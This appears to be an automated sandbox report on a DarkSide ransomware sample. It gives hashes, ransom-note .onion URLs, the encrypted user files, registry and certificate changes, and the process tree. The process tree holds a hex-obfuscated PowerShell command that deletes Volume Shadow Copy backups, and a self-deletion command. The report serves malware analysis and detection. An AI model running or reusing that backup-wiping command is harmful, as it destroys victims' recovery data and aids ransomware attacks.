Analysis
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max time kernel
1621s -
max time network
1624s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
02-06-2023 18:47
Static task
static1
Behavioral task
behavioral1
Sample
Darkside.exe
Resource
win7-20230220-en
General
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Target
Darkside.exe
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Size
59KB
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MD5
cfcfb68901ffe513e9f0d76b17d02f96
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SHA1
766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
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SHA256
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
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SHA512
0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
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SSDEEP
768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5
Malware Config
Extracted
C:\Users\Admin\README.3a4fc41f.TXT
darkside
http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF
http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Renames multiple (195) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Modifies extensions of user files 23 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
Darkside.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\ConfirmBackup.tif.3a4fc41f Darkside.exe File renamed C:\Users\Admin\Pictures\DenyUnpublish.raw => C:\Users\Admin\Pictures\DenyUnpublish.raw.3a4fc41f Darkside.exe File opened for modification C:\Users\Admin\Pictures\DenyUnpublish.raw.3a4fc41f Darkside.exe File opened for modification C:\Users\Admin\Pictures\ExitLock.raw.3a4fc41f Darkside.exe File opened for modification C:\Users\Admin\Pictures\GrantRequest.tiff Darkside.exe File renamed C:\Users\Admin\Pictures\SubmitRedo.png => C:\Users\Admin\Pictures\SubmitRedo.png.3a4fc41f Darkside.exe File renamed C:\Users\Admin\Pictures\TraceBackup.png => C:\Users\Admin\Pictures\TraceBackup.png.3a4fc41f Darkside.exe File renamed C:\Users\Admin\Pictures\ConfirmBackup.tif => C:\Users\Admin\Pictures\ConfirmBackup.tif.3a4fc41f Darkside.exe File opened for modification C:\Users\Admin\Pictures\StartEnable.tif.3a4fc41f Darkside.exe File renamed C:\Users\Admin\Pictures\GrantRequest.tiff => C:\Users\Admin\Pictures\GrantRequest.tiff.3a4fc41f Darkside.exe File renamed C:\Users\Admin\Pictures\OpenWatch.crw => C:\Users\Admin\Pictures\OpenWatch.crw.3a4fc41f Darkside.exe File opened for modification C:\Users\Admin\Pictures\OpenWatch.crw.3a4fc41f Darkside.exe File renamed C:\Users\Admin\Pictures\RestartPing.png => C:\Users\Admin\Pictures\RestartPing.png.3a4fc41f Darkside.exe File opened for modification C:\Users\Admin\Pictures\SubmitRedo.png.3a4fc41f Darkside.exe File opened for modification C:\Users\Admin\Pictures\TraceBackup.png.3a4fc41f Darkside.exe File opened for modification C:\Users\Admin\Pictures\ConvertFromStop.raw.3a4fc41f Darkside.exe File renamed C:\Users\Admin\Pictures\ExitLock.raw => C:\Users\Admin\Pictures\ExitLock.raw.3a4fc41f Darkside.exe File opened for modification C:\Users\Admin\Pictures\GrantRequest.tiff.3a4fc41f Darkside.exe File renamed C:\Users\Admin\Pictures\OpenSuspend.crw => C:\Users\Admin\Pictures\OpenSuspend.crw.3a4fc41f Darkside.exe File opened for modification C:\Users\Admin\Pictures\OpenSuspend.crw.3a4fc41f Darkside.exe File opened for modification C:\Users\Admin\Pictures\RestartPing.png.3a4fc41f Darkside.exe File renamed C:\Users\Admin\Pictures\StartEnable.tif => C:\Users\Admin\Pictures\StartEnable.tif.3a4fc41f Darkside.exe File renamed C:\Users\Admin\Pictures\ConvertFromStop.raw => C:\Users\Admin\Pictures\ConvertFromStop.raw.3a4fc41f Darkside.exe -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 3248 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
Darkside.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\3a4fc41f.BMP" Darkside.exe Set value (str) \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\3a4fc41f.BMP" Darkside.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
Darkside.exepid process 1240 Darkside.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies Control Panel 1 IoCs
Processes:
Darkside.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Control Panel\Desktop\WallpaperStyle = "10" Darkside.exe -
Modifies registry class 5 IoCs
Processes:
Darkside.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\3a4fc41f\DefaultIcon Darkside.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\3a4fc41f Darkside.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\3a4fc41f\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\3a4fc41f.ico" Darkside.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.3a4fc41f Darkside.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.3a4fc41f\ = "3a4fc41f" Darkside.exe -
Processes:
Darkside.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 Darkside.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 Darkside.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 Darkside.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 Darkside.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 Darkside.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 Darkside.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exeDarkside.exepid process 1760 powershell.exe 1240 Darkside.exe 1240 Darkside.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
Darkside.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 1240 Darkside.exe Token: SeSecurityPrivilege 1240 Darkside.exe Token: SeTakeOwnershipPrivilege 1240 Darkside.exe Token: SeLoadDriverPrivilege 1240 Darkside.exe Token: SeSystemProfilePrivilege 1240 Darkside.exe Token: SeSystemtimePrivilege 1240 Darkside.exe Token: SeProfSingleProcessPrivilege 1240 Darkside.exe Token: SeIncBasePriorityPrivilege 1240 Darkside.exe Token: SeCreatePagefilePrivilege 1240 Darkside.exe Token: SeBackupPrivilege 1240 Darkside.exe Token: SeRestorePrivilege 1240 Darkside.exe Token: SeShutdownPrivilege 1240 Darkside.exe Token: SeDebugPrivilege 1240 Darkside.exe Token: SeSystemEnvironmentPrivilege 1240 Darkside.exe Token: SeRemoteShutdownPrivilege 1240 Darkside.exe Token: SeUndockPrivilege 1240 Darkside.exe Token: SeManageVolumePrivilege 1240 Darkside.exe Token: 33 1240 Darkside.exe Token: 34 1240 Darkside.exe Token: 35 1240 Darkside.exe Token: SeDebugPrivilege 1760 powershell.exe Token: SeBackupPrivilege 1488 vssvc.exe Token: SeRestorePrivilege 1488 vssvc.exe Token: SeAuditPrivilege 1488 vssvc.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
Darkside.exedescription pid process target process PID 1240 wrote to memory of 1760 1240 Darkside.exe powershell.exe PID 1240 wrote to memory of 1760 1240 Darkside.exe powershell.exe PID 1240 wrote to memory of 1760 1240 Darkside.exe powershell.exe PID 1240 wrote to memory of 1760 1240 Darkside.exe powershell.exe PID 1240 wrote to memory of 3248 1240 Darkside.exe cmd.exe PID 1240 wrote to memory of 3248 1240 Darkside.exe cmd.exe PID 1240 wrote to memory of 3248 1240 Darkside.exe cmd.exe PID 1240 wrote to memory of 3248 1240 Darkside.exe cmd.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\Darkside.exe"C:\Users\Admin\AppData\Local\Temp\Darkside.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\Darkside.exe >> NUL2⤵
- Deletes itself
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
62KB
MD53ac860860707baaf32469fa7cc7c0192
SHA1c33c2acdaba0e6fa41fd2f00f186804722477639
SHA256d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904
SHA512d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
304B
MD5e9ecb15f26006998f85711491c75f4c4
SHA157b3a9aa4604c307b7fde336f16131b0b2e7e2d2
SHA256905d0a5ba9ef5db4dd940729b873c116e8133d7d9591fa7d44509489dc5ec451
SHA51240528e214aae8fde3dcda47d1f0319f6b452f7f78d52a7b294e178974f702bfe72ceec320134f41395c48adde1952640e13614e20c56fb75aedb84b490085292
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
304B
MD52c92c9cc53f430a14b01cb2de13bb4a8
SHA1173dc4914bb195c50dd42d44507b3698ad09d075
SHA25688c032d77c8b51b539b2ef3b5e73535cdf99c9a25e46d798af6c8af8409dc2a0
SHA512068a8f48710b851864f3f400d9fcd836143889eb0ba1b5049d42823b53c81bcd2430dd1e25f5cda877d81766c9a99d63a3e653416e115ea9377ea8a1de1014c6
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C:\Users\Admin\AppData\Local\Temp\Cab45BA.tmpFilesize
61KB
MD5fc4666cbca561e864e7fdf883a9e6661
SHA12f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5
SHA25610f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b
SHA512c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d
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C:\Users\Admin\AppData\Local\Temp\Tar47C4.tmpFilesize
164KB
MD54ff65ad929cd9a367680e0e5b1c08166
SHA1c0af0d4396bd1f15c45f39d3b849ba444233b3a2
SHA256c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6
SHA512f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD51fb0efb7ce5b165070be8fb56c2f8a48
SHA1ed63eb8a7ad4a052d83ccd9e54c87ebbcf21c323
SHA2566eda4648c3bfdcef6fe05e5947c311228bd38f065bb7893c5f7fa4ad76a34548
SHA5125878ba6659bb2af5eb3a0d1550fd47ac2c6301e8b8862be50cf128bb55683c7831c50a315170e2ffb244e2701092c9aff81a1de83d06912412243e344af49ecc
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C:\Users\Admin\README.3a4fc41f.TXTFilesize
3KB
MD5b58e2411168bbdbec635cf4001635db0
SHA1c130cd9caaaa514a6b98c1168e10d44a989d191a
SHA256652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a
SHA51287e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a
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memory/1760-141-0x0000000002620000-0x00000000026A0000-memory.dmpFilesize
512KB
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memory/1760-143-0x0000000002620000-0x00000000026A0000-memory.dmpFilesize
512KB
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memory/1760-144-0x0000000002620000-0x00000000026A0000-memory.dmpFilesize
512KB
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memory/1760-142-0x0000000002620000-0x00000000026A0000-memory.dmpFilesize
512KB
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memory/1760-140-0x0000000002230000-0x0000000002238000-memory.dmpFilesize
32KB
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memory/1760-139-0x000000001B1D0000-0x000000001B4B2000-memory.dmpFilesize
2.9MB